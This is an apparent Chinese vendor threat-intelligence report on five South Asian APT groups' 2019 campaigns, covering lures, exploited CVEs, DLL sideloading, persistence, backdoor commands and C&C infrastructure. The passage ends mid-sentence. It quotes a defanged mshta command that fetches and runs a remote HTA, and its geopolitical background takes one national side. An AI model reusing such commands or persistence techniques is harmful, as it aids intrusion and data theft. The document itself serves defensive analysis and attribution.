
南亚地区 APT 组织 2019 年度攻击活动总结 

  



摘要 

Summary 

 2019 年间，南亚地区的 APT 组织处在一个十分活跃的状态，其网络攻击活动呈现出了明显的网络情报获取意
图，攻击的目的主要是收集敏感领域人物相关情报信息，影响机构主要包括军工军贸、政府机关、外交机构等。
其针对的主要地域目标主要为中国和巴基斯坦，但我们也观测到了针对孟加拉国和斯里兰卡的 APT 攻击活动。 

 

图 1 南亚地区周边国家地图示意 
一般 APT 攻击的攻击活动与地缘政治关系存在较强的关联，可以认为是地缘政治的延伸,甚至是战争和冲突的

一部分,APT 的活跃趋势也跟地缘政治等全球热点密切相关。在南亚的地缘政治环境中，各国都存在着复杂的地缘
政治关系，而印度拥有最强的地缘政治实力，其主要邻国包括巴基斯坦、尼泊尔、不丹、中国、孟加拉和缅甸等
国，  

印度和巴基斯坦自从 1947 年印巴分治后，两国关系一直处于十分复杂且敌对的状态。两国一直存在着领土争
端问题，其中最大的领土争议为克什米尔地区归属问题，双方围绕克什米尔地区争议爆发过战争，大大小小军事
冲突不。 

2019 年，印巴双方爆发的一系列军事冲突将双方的关系推至冰点。2 月 26 日，印度空军的 12 架幻影 2000
战斗机飞越克什米尔印巴停火线，对巴基斯坦进行空袭。印度宣称空袭为报复两星期前的普尔瓦马袭击。27 日，
双方在克什米尔地区展开空战，巴基斯坦方面表示，巴基斯坦空军在军事行动中击落了两架印军战机，两机分别
坠毁在克什米尔巴控区和印控区，并俘虏了一名印度飞行员。印方其后确认，印军 1 架米格-21 战斗机被巴方击
落，1 名飞行员被巴军俘虏，另有 1 架战机在克什米尔印控区坠毁。3 月 4 日上午，印巴双方在边境地区互相开火
炮击，局势再次升级。 

中国和印度都是发展中国家，是世界上最大的人口大国和相邻国家，其关系伴随着冲突与合作，印度在经济
和军事等领域上都视中国为头号的竞争对手。1962 年，印度入侵我国西藏领土，中国解放军发起反击，印军完
败，史称“对印反击战”。 此后中印边境一直存在“摩擦”，直到 2017 年 6 月 18 日，印度边防人员在中印边界锡金
段越过边界线进入中方境内，阻挠中国边防部队在洞朗地区的正常活动，双方关系一度进入紧张阶段。 
  



目标和任务 

Targeting and Mission 

 2019 年来，源于南亚地区的 APT 攻击活动的重点目标依旧是中国和巴基斯坦。但是与 2017、2018 年的历史
数据相比，其针对巴基斯坦的攻击活动呈现明显的上升趋势，而针对中国的攻击活动却稍有缓和。对于这种现
象，我们分析了同时间相关地区地缘政治局势变化情况，对比同时间同地区 APT 攻击活动的活跃程度，两者在时
间和地域上表现出了明显的趋势关联。 

中印局势变化： 
2017 年 6 月，中印洞朗边境发生对峙事件 
2017 年 7 月，中印双方就边境对峙事件发表外交声明 
2017 年 8 月，中印双方达成共识，结束了边境对峙 
2017 年 12 月，中印举行边界问题特别代表会晤 
2018 年 5 月，中印就阿富汗问题达成部分共识 
2018 年 12 月，中印再次举行边界问题特别代表会晤 
2019 年 10 月 11 日，习近平主席访问印度 

印巴局势变化： 
2018 年 2 月 25 日，印度军队炮击克什米尔实控线附近的巴基斯坦哨所，导致巴方人员伤亡。 
2018 年 5 月 30 日，印度和巴基斯坦同意在克什米尔地区停止交火，双方同意落实于 2003 年达成的停火协议。 
2019 年 2 月，印度和巴基斯坦对彼此领土内的目标发动了空袭，在此期间巴方击落一架印度战机并俘获其飞行
员，两国此后小规模交火不断。 
2019 年 8 月，印度撤销了克什米尔的特殊地位，导致地区局势紧张，同月印巴在边境争议地区交火，导致士兵伤
亡。 

被攻击的目标如下： 
中国： 
 涉及相关军工军贸企业 
 涉及相关外交使领馆  

 
 巴基斯坦： 
 政府机构：国家反恐局、警察系统、巴基斯坦新闻广播对外宣传部、国家数据库和管理局（NADRA）、巴

基斯坦原子能委员会（PAEC）、巴基斯坦科学和工业研究理事会（PCSIR）、巴基斯坦证券交易委员会
（SECP） 

 基础设施企业：巴基斯坦国家炼油有限公司、巴基斯坦特别通信组（SCO）、巴基斯坦移动公司
（Mobilink）、巴基斯坦电信公司（PTCL） 
 

 除此之外，我们还发现了针对孟加拉国和斯里兰卡的 APT 攻击活动。针对目标为孟加拉国和斯里兰卡军方。
针对孟加拉国的攻击行动中，其使用的漏洞文档题材便涉及了孟加拉国的军贸。 
 

组织名称 目标国家 目标行业 

蔓灵花（BITTER） 中国、巴基斯坦 巴方政府机构、中方军贸相关人员 

摩诃草（HangOver） 巴基斯坦 军事、政府、科研、通讯机构 

响尾蛇 中国、巴基斯坦、孟加拉国 各国驻华使馆、外交人员 

DoNot（肚脑虫） 中国、巴基斯坦、斯里兰卡 阿富汗驻华使馆、政府新闻机关 

Urpage 巴基斯坦 政府机构 

 
  



攻击活动分析 

Attack Operation Analysis 

总览 

 初始入侵 代码执行 持久化 命令和控制 任务活动 

摩诃草 漏洞文档 CVE-2017-11882 

白利用 DLL 劫持 

注册表启动项 第三方服务 Github / Feed43

更新 C&C 

系统信息收集 

RAT 程序 

蔓灵花 漏洞文档 

自解压程序 

CHM 文档 

CVE-2018-0798 注册表启动项 传统 C&C 系统信息收集 

RAT 程序 

键盘记录 

剪切板记录 

特定文件收集 

肚脑虫 漏洞文档 

U 盘传播 

CVE-2017-12824 

CVE-2017-11882 

计划任务 传统 C&C 系统信息收集 

屏幕截取 

特定文件收集 

响尾蛇 漏洞文档 

LNK 文件 

CVE-2017-11882 

HTA 远程执行 

JavaScript 内存加载.Net

代码执行 

白利用 DLL 劫持 

RUNDLL32 

REGSVR32 

注册表启动项 传统 C&C 系统信息收集 

文件窃取 

Urpage 漏洞文档 CVE-2017-11882 自启动目录项 传统 C&C 系统信息收集 

RAT 程序 

 

初始入侵 

 从监测到的情况进行分析，南亚 APT 组织的攻击活动仍严重依赖于社会工程学，其最主要攻击手段依旧为鱼
叉漏洞文档，其次为鱼叉 LNK 文件，自解压程序，CHM 文档等；在肚脑虫在巴基斯坦的攻击活动中，我们观察到
了使用 U 盘传播的案例，攻击者在 U 盘中放置伪装的 EXE 程序诱导用户点击。 
 
 伪装文档图标的程序示例如下： 

 

 
南亚地区 APT 组织使用的漏洞文档的内容题材丰富多样，其中部分漏洞文档今年已经被各安全厂商相继披露，涉
及时政新闻、军事相关文件、军工企业单位等。部分典型案例如下： 



 
 涉及克什米尔局势的诱饵文档，内容大意为职责印度增兵克什米尔，加剧了地区局势紧张程度。 

 
 

 以 2019 年在中国武汉举办世界军人运动会报名表为题材的诱饵文档。 

 
 

 以国防部国际军事合作办公室的名义，发往各国驻华使馆武官处的诱饵文档。 



  
 针对军工、时事和相关国企公司的诱饵文档 

 
  
 
 同时我们还观察到部分压缩包文件形式的鱼叉邮件诱饵，受害者是点击运行压缩包中的可执行文件后中招，

相关的文件名也极具诱导性，部分代表文件名如下表： 

文件名 

更新预设零件库存信息系统.exe 

新时代党校**答记者问.doc.exe 



中共中央印发**审议批准.exe 

360_KB6784677.exe 

 

代码执行 

 在代码执行阶段，除社会工程学直接诱导受害者执行程序外，其主要使用 Office 漏洞，使用频率最高的为
CVE-2017-11882，其次是 CVE-2018-0798；在肚脑虫组织 2019 年的行动中，我们发现了其使用 InPage 漏洞
（CVE-2017-12824）进行攻击的案例，InPage 是一种主要用于乌尔都语文字处理软件，乌尔都语是巴基斯坦国
语。该软件大部分使用者都集中在巴基斯坦和印度境内。 

 
 除漏洞文档外，上述组织也使用了其他技巧来进行代码执行： 
 摩诃草和响尾蛇使用了白利用 DLL 劫持的技术，这是一种利用可信程序和系统 DLL 加载机制的代码执行技
术。其使用带有受信任签名或者系统应用程序，来加载带有恶意行为的 DLL，来执行恶意行为并规避检测。 
 如被国内安全厂商披露的响尾蛇使用的鱼叉 LNK 文件（参考：

http://it.rising.com.cn/dongtai/19639.html），其中嵌入了远程执行 HTA 的命令行。 

 
 其次在驻留后，响尾蛇利用系统 Rundll32 或 Regsvr32 来执行 DLL 恶意组件。 
 漏洞文档后阶段执行过程使用了 JavaScript 加载.Net 程序的技术，这种技术利用脚本内存加载.Net 程序。 



持久化 

 在持久化方面上，其使用的技术均比较常见。 
 使用最多的为注册表启动项，即向 HKCU\Software\Microsoft\Windows\CurrentVersion\Run 下添加相

关注册表项； 
 响尾蛇利用了系统计划任务，通过添加计划任务启动项，利用 Rundll32 或 Regsvr32 来执行恶意 DLL 组

件； 
 Urpage 使用了自启动目录项，即在 %Appdata%\Microsoft\Windows\Start Menu\Programs\Startup 目

录下创建带有启动命令行的快捷方式。 

命令和控制 

在命令和控制方面，摩诃草使用了 Github 和 Feed43 这类共用平台下发 C&C 地址信息，其在 Github 或者
Feed43 上创建带有加密 C&C 信息的 XML 文件，解密来获取新的 C&C 地址信息。 

 
 这种模式的后门在 2016 年初次报道摩诃草组织时就已经报告，其使用大型论坛发帖等功能来传递 C&C 更新
信息，而其他组织仍使用传统 C&C 方式，通过服务器直接控制。 

 
 

在摩诃草 2019 年的几次攻击活动中使用了一款新后门程序，我们直接引用该后门的 pdb 文件为其命名为
cnc_client。 

 
 

cnc_client 会从 github 上下载木马文件到本地路径%appdata%，然后通过 COM 接口添加计划任务，该任务会在当
前用户每次登陆时触发，来保证后门的持久化。 



 
 
cnc_client 通过 WMI 执行命令 Select UUID from Win32_ComputerSystemProduct 来获取 UUID，后门与 C&C 的通
信过程中以 UUID 作为当前主机的标识符。 

 

cnc_client 与 C&C 之间的通信数据均为 json 格式，并使用 tinyglTF 库来解析 json 数据，cnc_client 在接收服务器命
令之前会进行多次通信，主要是下面三个 C&C 接口： 
 
1. C&C 注册接口请求，xinhuanet**.com:8080/cnnews/register 

 
cnc_client 首先将搜集到的 UUID 以{"host_identifier":UUID}内容的 JSON 格式发往上述地址. 

2. C&C 任务接口，xinhuanet**com:8080/cnnews/portal/request， 
任务接口返回{"status":"success"}格式数据代表连接成功，cnc_client 将继续向 C&C 服务器发送任务请求 
接下来任务接口将返回{"status":"success","tasks":[*******]}格式数据，*******内容代表接收的任务命令 

3. C&C 命令接收接口，xinhuanet**.com:8080/cnnews/portal/show 
cnc_client 执行完命令后，所有的命令结果将以 json 格式发送回命令接收接口。 
 

cnc_client 的主要命令功能如下： 
 远程 shell 功能 

从 C&C 服务器接收要连接的 IP 和端口，创建 CMD 进程通过管道创建反弹 shell。 

 



 
 
 上传文件功能 

获取到 FTP 服务器的地址，用户名，密码以及要上传的文件路径，然后上传文件到服务器。 

 

 

 



 下载文件功能 
 下载指定 URL 地址的文件保存到本地。 

 

 

任务活动 

 这些攻击活动的主要任务依旧为窃取敏感信息。主要手段涉及键盘记录、屏幕截取和敏感文件上传。在这些
行动中，我们发现了其经常使用 Downloader 程序来分发后续的功能模块（有部分行动使用了双重 Downloader 的
模式）。Downloader 程序会收集受害者系统信息，进行杀毒软件和虚拟机环境检测，并将这些信息上传到 C&C 服
务器；另一方面，攻击者可以对这些信息进行分析，结合其目的选择性的下发后续功能组件，降低操作量。 

在数据传输上，其使用的加密的方式多种多样，有的只是针对原始数据做简单的 XOR 或者加减运算，在摩诃
草解密 C&C 数据过程中，使用了 Blowfish 加密算法。其他也有使用 AES 和 RC4 算法对窃取数据进行加密。 
  
  



具体行动解析 

Operation Analysis 

摩诃草 

 

JAVA-RMI.exe
（白程序）

漏洞文档

Registry

C&C

1
3

Dropper JLI.dll(驻留安装程序)

后门程序

Github

2

4

 摩诃草今年使用的攻击流程如图所示： 
1. 使用了 CVE-2017-11882 的鱼叉文档，题材涉及当前政治局势，具有诱导性，用户点击之后出发漏洞，

Shellcode 将释放执行 Dropper 程序。 
 

2. Dropper 程序将释放 3 个文件，其路径分别为： 

C:\ProgramData\*****\jli.dll 

C:\ProgramData\*****\java-rmi.exe 

C:\ProgramData\*****\MsBuild(2).exe 

 Dropper 程序会将 MsBuild.exe 重命名为 MsBuild2.exe。 

C:\ProgramData\*****\MsBuild.exe 

C:\ProgramData\*****\MsBuild2.exe 

 
 

随后启动 java-rmi.exe，其中 java-rmi.exe 为正常的 JAVA 组件，带有签名：Oracle America, Inc. 

 



java-rmi.exe 会默认调用 JLI.DLL，这种白利用 DLL 劫持技术与之前摩诃草使用的白利用技术相类似（Fake 
JLI），只是更新了白利用程序。 
  
3. JLI.DLL 为驻留安装程序，其功能十分简单，所有的导出函数最终都会跳转到为木马添加开启启动项的函数

中，在注册表项 HKCU\Software\Microsoft\Windows\CurrentVersion\Run 下添加项名为 WindowsDefender 

Update 的启动项，路径指向木马文件 MsBuild2.exe 

4.  
 

 
5. 被添加到注册表启动项的后门程序会随开机自动启动，该程序与我们去年进行报道的后门逻辑完全一致，在

去年的报告中已经进行了详细分析（参考 https://www.freebuf.com/vuls/157694.html），其依旧使用了 Github
和 Feed43 进行 C&C 地址的更新分发。 
 
后门程序可以接收服务器下发的控制指令，主要指令如下： 

指令号 功能 

0 退出进程 

8 上传键盘记录文件 TPX498.dat 

23 上传屏幕截图文件 TPX499.dat，并删除该文件 

13 读取指定的文件前 20000 字节到文件 AdbFle.tmp 并上传 

4 上传搜集的特定后缀文件列表文件 edg499.dat 

5 上传指定的文件 

33 下载文件并执行 

 
目前检测到的摩诃草受害者均集中于巴基斯坦境内，其中包括了巴基斯坦空军相关人员，内政部下属的国家

数据库和管理局（NADRA）工作人员，以及核能相关的工作人员（PAEC 巴基斯坦原子能委员会）, 科研人员
（PCSIR 巴基斯坦科学和工业研究理事会），各类通信公司和组织工作人员（SCO 巴基斯坦特别通信组、Mobilink
巴基斯坦移动公司、PTCL 巴基斯坦电信公司）。 

蔓灵花 

2019 年监测到的蔓灵花（BITTER）组织攻击流程如下图所示： 

https://www.freebuf.com/vuls/157694.html


 

自解压文件

CHM文档

漏洞Word

释放执行

Downloader

1

MSI安装包

下载执行

功能插件

安装

2

C&C

上传用户信息

1. 载荷投递过程： 
目前已知的攻击手法有 3 种，一种为伪装图标的自解文件： 

 
 诱导点击并执行自解压命令。 

 
 第二种为 CVE-2018-0798 Word 漏洞文档，释放下载器并执行；第三种为 CHM 文件中内嵌脚本，去指定 URL
下载 MSI 文件执行，MSI 文件是一个下载器。 

漏洞文档的内容如下： 



 

 
 

2. Downloader 下载执行插件 
Downloader 会通过进程名检测杀毒软件，搜集当前系统的各种信息包括计算机名，用户名等拼接为 GET 请求

串，发送到 C&C 服务器，并且下载其他插件通过 ShellExecute 执行。 
搜集的信息以如下格式上传： 

字段 含义 

a 主机名 

b 计算机名 

c 操作系统名 

d 用户名+Guid+系统相关信息拼接 

e 空 

 



  
 目前我们监测到了 3 种类型的 Downloader，它们的功能都很相似，在此不再重复描述 
3. 功能插件 

目前我们掌握的插件有一下四类，第一类为驻留用插件，其功能为添加 Downloader 程序到启动项注册表下，
在 HKCU\Software\microsoft\windows\currentversion\run 下添加开机启动项 audiodq 指向 Downloader 的路径，路
径为 C:\intel\logs\audiodq.exe 

 

 第二类插件为 RAT 程序，能实现简单的远程控制命令，通讯包通过指定串进行异或来加密， 
RAT 程序能够接受的指令如下表： 

指令号 功能 

3000 获取计算机名，用户名，操作系统名，RAT 文件名 

3001 获取硬盘信息 

3002 搜集指定路径下的文件信息 

3004 发送大数据包 

3005 创建指定文件 

3006 向 3005 指令创建的文件写入数据 

3007 打开指定文件 

3009 读取文件内容并上传 

3012 创建 Cmd，开始远程执行命令 

3013 执行命令 

3015 发送 cmd 执行命令后产生的大数据包 

3016 结束 cmd 进程 

3017 终止指定线程 

 第三类插件为信息收集插件，这类插件包含两种，一种为 Keylogger，另一种为文件信息收集插件。 
Keylogger 的技术实现为系统钩子（SetWindowsHook），除了收集键盘信息外，其也会收集剪切板信息。 



 
 文件收集插件则会收集指定后缀名的插件，包括的类型如下： 

txt, ppt, pptx, pdf, doc, docx, xls, xlsx, zip, z7, rtf, txt, apk, neat 
 同时其收集文件时也会排除以下目录： 

program files, program files(x86), Windows, Win32, system32, MsoCache, Windows.old, 
inetpub, $RECYCLE.BIN, ProgramData, SWSETUP, Microsoft, SYSTEM.SAVBoot, wwwroot, Boot, local, 
Intel, PerfLogs 
 满足条件的文件的文件路径以及文件最后修改时间会被保存到文件 C:\Windows\debug\WIA\winlog0a.txt 中。
最后将搜集到的文件信息和机器名，GUID，时间一起上传到服务器。 

 
除了上述恶意代码外，也有一类 C#恶意程序的使用，目前发现的后门程序有两类，其接收的指令格式存在区

别，但是都为 RAT 程序。 

 
2 类 RAT 程序接受的控制命令如下表： 
第一类： 

数据包类型 功能 

Delete File 删除文件 

Get Processes 获取运行的进程信息，包括进程名，PID，进程主窗口标题等 

Kill Processes 根据 PID 终止指定进程 

Suspend Processes 挂起进程 

Resume Processes 恢复被挂起的进程 



Get Process DLLs 获取进程中的模块信息，包括模块名，模块基址，模块入口地址，模块在内存
中的大小等信息 

Get Process threads 获取进程中的线程信息，包括线程 id，线程状态等信息 

Mod Thread 对指定进程下的指定线程做挂起/恢复/终止操作 

Start Process 创建新的进程 

FileMgr get drives 获取磁盘信息，包括磁盘名，磁盘类型等 

FileMgr get Folders 获取指定路径下的文件信息，包括文件名，文件大小，文件最后访问时间等信
息 

FileMgr Create File 创建指定的文件 

FileMgr Copy File 拷贝文件 

FileTransfer Begin 开始文件传输，将要传输的文件 id 将入队列中 

FileTransfer Data 传输文件，读取要上传的文件内容 

FileTransfer Complete 完成文件传输，将文件对应的 id 从对应中删除 

FileTransfer for downloading 
start 

传输文件 

Get Command 下发命令 

Start Command Prompt 启动 cmd，执行远程命令 

Stop Command Prompt 终止 cmd 进程 

Connection Status 心跳包 

第二类： 

指令名称 指令说明 

tskmgr 启动任务管理器 

getinfo 获取各类信息，包括机器名，系统型号，杀软情况等 

prockill 终止指定 ID 的进程 

proclist 获取进程信息，包括进程名，主窗口信息等 

startcmd 启动 cmd 进程远程执行命令 

stopcmd 终止 cmd 进程 

cmd 执行下发的命令 

fdrive 获取磁盘信息，包括磁盘名，磁盘大小 

fdir 获取指定路径下的文件信息 

f1 获取指定目录的父目录完整路径 

fpaste 拷贝或移动文件/文件夹 

fexec 执行程序 

fhide 将文件属性设置为隐藏 

fshow 将文件属性设置为可见 

fdel 删除文件 

frename 重命名文件 

ffile 新建文件 

fndir 新建文件夹 

getfile 读取文件内容 

putfile 写文件 

fup 下发文件 

fdl 判断要上传的文件是否存在 

fconfirm 上传指定文件内容 

dc 断开当前连接，并重新连接并接收远程命令 

 
除了 Windows 平台的恶意程序，蔓灵花也使用了 Android 平台的恶意程序。 



Android 的恶意程序主要是通过图标伪装成正常的 APP 来诱导用户下载安装。目前发现有伪装成聊天工具，
图片查看器等，部分 Android 平台的受害者身份与 Windows 平台的受害者身份重合。相关详细细节可参考《蔓灵
花（APT-C-08）移动平台攻击活动揭露报告》（http://blogs.360.cn/post/analysis_of_APT_C_08.html） 

目前我们发现的受害者大多数为巴基斯坦政府相关人员，中国的受害者主要包括军贸相关单位、驻外大使馆
等。 

肚脑虫 

 2019 年监测到的肚脑虫（Donot）组织攻击流程图如下： 
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 本次攻击使用的恶意代码工具与之前曝光的 yty 框架基本一致，两者类比如下表： 

 yty 框架 本次攻击使用的框架 

编程语言 C# C++ 

插件形式 EXE DLL 为主，少量 EXE 

 
1. 载荷投递过程 

Donot 组织依旧使用了 InPage 漏洞文档（CVE-2017-12824），Word 漏洞文档（CVE-2017-11882）作为主要
的载荷投递手段，但是我们在巴基斯坦部分受害者中监测到了通过 U 盘进行传播的例子，程序伪装成了特殊文
件，诱导用户进行点击。 

文件名 

g:\sefam.exe 

e:\documents.exe 

h:\reply for swol notice.exe 

h:\windows 10.exe 

h:\windows 7.exe 

 目前发现的恶意程序均伪装为 Word 文档诱导受害者点击。 

 
2. 下载与执行 

Donot 依旧采用了 Downloader 下载执行插件的策略，但是其会下载执行两次 Downloader，第一阶段
Downloader 会通过特殊路径检测系统杀毒软件，通过特殊 CPU 指令判断当前环境是否为 VMware 虚拟机。 

http://blogs.360.cn/post/analysis_of_APT_C_08.html


  
同时收集操作系统信息，包括处理器信息，系统版本号，用户名，机器名，mac 地址，磁盘信息，Program 

File，Program File(x86)目录下的文件夹信息，将收集到的数据加密发送到 C&C 服务器并下载 Second Downloader
插件，同时设置任务计划来定时启动 Second Downloader 插件。 

如果没有杀毒软件，其使用 rundll32 执行： 

 
 

 如果其检测到杀毒软件存在，其使用 regsvr32 进行启动。 

 
 

 
 

 Second Downloader 会下载执行具体插件，其中插件与之前曝光的 yty 框架相类似，但是主要的形式为 DLL 而
不是 EXE，在分析过程中发现服务器返回了如下信息： 

 

从返回的信息中我们获取了框架中的插件信息：. 

文件名 对应 yty 框架 功能描述 



ProcessManager.dll Boothelp.exe Second Downloader 主体，负责与 C&C 进行通讯，下载执行其他插
件 

NetworkConnect.dll abode.exe Uploader，其会上传 KBDriver、VGAGraphics、Storage、
RuntimeBrowser、audiosync 等插件收集的信息 

VGAGraphics.dll dspcheck.exe 屏幕截取插件，将截取的屏幕信息，加密保存到路
径%appdata%\TGMake\vgagraphics\vgagraphics\ 

FolderOptions.dll vstservice.exe 文件收集插件，首先尝试从 Google 文档中获取数据，如果成功获取
到数据，解密出 C&C 地址并使用，失败则使用插件内置 C&C 地
址；随后读取%userprofile%\appdata\***\folderoptions\下的
config.bin 文件，获取要收集的文件后缀，若不存则使用插件默认要
收集的文件格式。默认情况下会收
集.pdf,.doc,.ppt,.xls,.docx,.xlsx,.pptx,.docm,.rff,.inp,.xlsm,.csv,.odt,.pps,.v
cf 后缀的文件信息，最后将搜集到的文件信息做 AES 加密上传。 

RuntimeBrowser.dll  下载失败暂无信息。 

KBDriver.dll  下载失败暂无信息。 

audiosync.exe  下载失败暂无信息。 

CellRec.dll  下载失败暂无信息。 

lava.bat  下载失败暂无信息。 

Storage.dll  下载失败暂无信息。 

YTY 推测为旧 YTY 下载失败暂无信息。 

  
2019 年监测到的 Donot 受害者主要分布在巴基斯坦和斯里兰卡，11 月份时阿富汗驻中国的大使馆也被攻

击。其中包括巴基斯坦新闻广播对外宣传部，斯里兰卡军方相关人员。 

响尾蛇 

 2019 年间监测到的响尾蛇组织攻击流程图如下： 
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初始入侵阶段 
在初始入侵阶段，响尾蛇组织使用了两种攻击方式，一种为 Office 漏洞文档（CVE-2017-11882），另一种为伪

装的 LNK 文件，LNK 文件中带有 HTA 命令，将远程执行 HTA 命令。 
%windir%\system32\mshta.exe hxxps://msftupdate.**.com/cdne/plds/zoxr4yr5KV.hta 

 
hta 会下载 JavaScript 文件和一个正常的 Word 文档执行，诱饵 Word 文档将被打开，进而欺骗受害者。 
 
部分漏洞文档内容如下： 
  



 
 

1. 恶意代码执行阶段 
如果漏洞文档被执行且漏洞被成功触发，其会释放 JavaScript 脚本到系统%temp%目录下并执行，脚本会在内存

中反射加载.Net 模块，该项攻击技术参考了开源项目 DotNetToJScript。  



 
 值得注意的是，在 JavaScript 代码中，其添加了很多注释，类似于英文文章节选。 
 .Net 程序被内存加载后，其会执行 Work 函数，并向其传递参数 

 
 Work 函数的主要功能为，从系统 system32 目录下拷贝 write.exe 文件到
C:\programdata\authyfiles\write.exe，并将其路径添加到注册表开机启动项，根据传入的第三个参数，解密传入的
x、y 两个字符串，解密后为两个 DLL 文件，释放到 C:\programdata\authyfiles\目录，其中一个文件名为
PROPSYS.dll，另一个随机生成长度为 5 的字符串，后缀名为.tmp。 

 
 随后其会执行 Copy 的 write.exe，write.exe 会调用同目录下的 propsys.dll，这是一种白利用 DLL 劫持技术。 
 propsys.dll 加载后会内存解密，反射加载同目录下的.tmp 文件。 

 
 该 tmp 文件是一个 C# 后门程序，设置了 2 个定时器来执行恶意操作。其中一个定时器用于从指定地址下载
后续载荷并执行，另一个定时器则负责上传搜集到的信息。其搜集的信息如下： 

搜集的内容 说明 

当前用户信息 当前用户是否为管理员是否在管理员组 

计算机信息 包括了用户名，计算机制造商，计算机型号，内存大小等 

杀软，反间谍软件信息 名称，产品状态等 

进程信息 进程名，命令行等信息 

处理器信息 处理器名，架构，核心数量等 

操作系统信息 系统版本号，型号等 

时区信息 时区信息 



补丁信息 补丁 id，补丁描述等信息 

网络信息 Mac，ip，dns，网关地址等 

特定目录下文件信息 获取 Desktop，Documents，Downloads，Contacts 目录下的文件信息 

磁盘信息 磁盘名，类型，总空间，可用空间等 

软件信息 获取系统上安装的软件名，型号信息 

特定后缀的文件信息 搜集后缀为 doc, docx, xls, xlsx, pdf, ppt, pptx 的文件 

文件信息 搜集所有磁盘下的文件信息，包括文件名，属性，时间信息 

  
 针对响尾蛇组织，我们捕获到了多种白利用 DLL 劫持组合： 

正常系统文件名 描述 黑 DLL 名 

write.exe 写字板程序 propsys.dll 

credwiz.exe  Duser.dll 

Cmdl32.exe  cmpbk32.dll 

rekeywiz.exe  Duser.dll 

  
响尾蛇的受害者对象包括各国驻华使馆，包括约旦大使馆，阿联酋大使馆等外国驻中国的大使馆，某中国集团公
司，孟加拉军方人员，巴基斯坦政府机构包括反恐主义部门（CTD）, 巴基斯坦证券交易委员会（SECP） 

Urpage 

2019 年，我们发现一起针对巴基斯坦反恐局(Counter Terrorism Department - CTD)的攻击行动，其持续时间
从 6 月初延续到 9 月底，此次攻击依旧使用了钓鱼 Office 文档的攻击方式，使用的漏洞为 CVE-2017-11882。 

其使用了两种语言编写的 Downloader 程序，第一类为 Delphi 编写的 Downloader 程序，后一类为 VB 编写。 
Delphi 编写的 Downloader 程序会在%appdata%\Templets\路径下创建文件 imhosts.ini，并随机写入长度为 16

的字符串。 

 

 该字符串之后会被发往服务器，并作为 RC4 Key 来解密服务器返回的数据。 

 

木马向解密出来的 C&C: cy***.com/***/indertysduy.php 发送请求，并解密返回的数据。在测试过程中，木马
返回的数据解密后为：juscheck.doc。木马将接收到的数据与字符%appdata%\Templets 拼接，得到路
径%appdata%\Templets***.doc 

木马再次发送请求，解密返回数据并将数据写入到%appdata%\Templets***.doc，然后将后缀名从 doc 改为
exe，通过 ShellExecute 执行下载的文件。 



 
 在分析的过程中 Delphi Downloader 下载执行了 VB Downloader。VB downloader 与 Delphi Downloader 相比
多了对受害者系统信息的收集功能，攻击者可以根据收集到的信息来判断是否需要下发后续恶意程序。 
 其首先通过 WMI 判断是否在虚拟机环境中，如果在虚拟机中就结束运行。 

 

 
 随后其创建了 6 个定时器，各个定时器功能如下表： 

 功能描述 

Timer1 在目录%userprofile%\Microsoft32\Support 下创建文件 System_log。 

Timer2 根据 Timer5 返回的木马名，向服务器发起请求下载木马并执行。 

Timer3 通过 WMI 搜集用户名，机器名，系统上杀毒软件的安装情况，program file，program file(x86)目录
下的文件夹名，在目录%userprofile%\Microsoft32\Support 下创建文件 ugefy.dat，存储随机生成的一
串字符串。 

Timer4 在%appdata%\Microsoft\Windows\Start Menu\Programs\Startup 目录下创建快捷方式 xwin.lnk 指向木
马文件。 

Timer5 与服务器通信，将返回的数据以%~%做分割，判断是否存在 flop 字符，如果存在会启动 Timer2,下载
后续的木马文件。如果不存在则调用 Timer6，进入循环。分析过程中返回了 flip%~%，代表不下发后
续木马。如果下发后续木马返回的格式应该是 flop%~%木马名字。 

Timer6 通过 Ping google.com 来判断当前网络情况，如果当前能够 ping 通 google，则启用 Timer3。 

  
关联到 Urpage 组织的证据： 
趋势科技在 2018 年报道过 Urpage 组织，趋势认为该组织会定向攻击使用 Inpage 软件的地区。Urpage 组织

在 2018 年的攻击中使用过 Delphi，VB 恶意程序。在本次攻击中也发现了 Delphi，VB 恶意程序，并且发现了多处
相似痕迹。 
 Delhi 样本相似性分析： 
 资源中的信息相似，左边是本次攻击中的使用的样本，右边为趋势报告中的样本。 



 
 Delphi 样本中都通过定时器来触发木马的行为。本次攻击中使用了一个定时器来触发从服务器下载后续木马
的行为。趋势的样本中则使用了 2 个定时器来触发木马的行为。左边是本次攻击中的使用的样本，右边为趋势报
告中的样本。 

                 

 VB 样本相似性分析： 
均通过多个定时器触发木马的行为。左图为本次攻击事件中出现的 vb 样本。右图为之前 Urpage 组织使用的

VB 样本。 

      
 受害者相关： 
 本次攻击监测到的受害者主要为巴基斯坦警察或反恐主义部门相关的人员。其中一名受害者在 2018 年的时遭
受攻击，C&C 地址为 scro***.com。该 CC 地址被趋势认为与 Confucius 相关。Confucius 组织被认为与 Urpage 组
织存在关联，但 Confucius 组织不使用 VB 后门进行攻击，所以推断本次攻击事件属于 Urpage 组织。 

 
  



身份线索和分析 

Association Analysis 

Github 数据分析 

 针对摩诃草使用 Github 分发 C&C 地址的行为，相关安全厂商在 2019 年曾披露过（参考：

https://www.anquanke.com/post/id/185147）。 

 
我们使用 Github 的高级搜索功能，追踪到了其他类似的 XML 文件，对其中的 C&C 进行解密，并对相关信息进行
统计分析。 

 

 其中 2019 年相关 C&C 更新信息如下： 

用户名 上传时间（UTC） C&C 地址 

str1ngstr 2019/1/15 8:02 185.29.11.59 

z00min 2019/3/1 5:27 164.132.75.22 

alexboycott 2019/5/27 5:46 193.22.98.17 

imrankhan713 2019/6/24 11:13 91.92.136.239 

imranikhan17 2019/6/24 12:04 91.92.136.239 

chrisyoks 2019/7/18 10:34 185.116.210.8 

johnhenery12 2019/7/18 12:09 185.161.210.8 

petersonmike 2019/8/7 10:57 139.28.38.236 

shaikmalik22 2019/8/8 9:05 139.28.38.231 

 
历史上相关 Github 提交时间规律统计如下：： 

https://www.anquanke.com/post/id/185147
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 我们发现其用户名关联的社交媒体信息，大部分集中在印度和巴基斯坦境内，但是无法确认相关人物即为攻
击者，只能说明相关的 github 的用户与印度地区相关。 

攻击者来源 IP 

 通过我们的大数据对攻击者来源 IP 进行统计，我们发现绝大部分 IP 地址为代理 IP，部分非代理 IP 来自印
度。  
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展望与启示 

Outlook and Implications 

我们从这些攻击活动中看到了什么？ 

从技术方面上讲，我们监控到的源自印度的网络攻击活动中并没有使用十分复杂的技术，其使用的恶意代码
编码质量不高，在恶意代码武器库和攻击手法上与之前相比并没有较大改善。但我们也看到了攻击者在部分攻击
